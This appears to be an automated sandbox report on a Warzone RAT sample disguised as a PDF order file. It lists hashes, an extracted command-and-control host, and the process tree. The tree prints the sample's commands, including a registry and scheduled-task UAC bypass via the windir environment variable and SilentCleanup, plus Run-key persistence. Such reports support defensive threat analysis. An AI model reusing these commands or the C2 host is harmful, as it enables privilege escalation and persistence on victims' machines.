Analysis

  • max time kernel
    144s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    16/09/2021, 14:05

General

  • Target
    SMSS ORDER 5676884767638,pdf.exe
  • Size 812KB
  • Sample210916-rdtxjagdem
  • SHA256 ff5c1829e2ad044ec148a71766e4cd62ca12a528062e7da001c787cfb37be27d
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • warzonerat

C2
  • blessthychild.ddns.net:6014

Signatures

  • WarzoneRat, AveMaria

    WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.

  • Warzone RAT Payload 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Modifies registry key 1 TTPs 3 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SMSS ORDER 5676884767638,pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\SMSS ORDER 5676884767638,pdf.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3920
    • C:\Windows\SysWOW64\DpiScaling.exe
      C:\Windows\System32\DpiScaling.exe
      2⤵
        PID:2996
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Trast.bat" "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1772
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4072
          • C:\Windows\SysWOW64\reg.exe
            reg delete hkcu\Environment /v windir /f
            4⤵
            • Modifies registry key
            PID:580
          • C:\Windows\SysWOW64\reg.exe
            reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
            4⤵
            • Modifies registry key
            PID:812
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
            4⤵
              PID:992
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Public\nest.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:880
          • C:\Windows\SysWOW64\reg.exe
            reg delete hkcu\Environment /v windir /f
            3⤵
            • Modifies registry key
            PID:1284

      Network

            MITRE ATT&CK Enterprise v6

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            Downloads

            memory/2996-123-0x00000000005D0000-0x00000000005D1000-memory.dmp

            memory/2996-125-0x0000000000850000-0x0000000000851000-memory.dmp

            memory/2996-127-0x0000000000510000-0x0000000000511000-memory.dmp

            memory/2996-126-0x0000000010670000-0x00000000107C6000-memory.dmp

            memory/2996-128-0x0000000004570000-0x00000000046C4000-memory.dmp

            memory/3920-114-0x00000000004E0000-0x000000000058E000-memory.dmp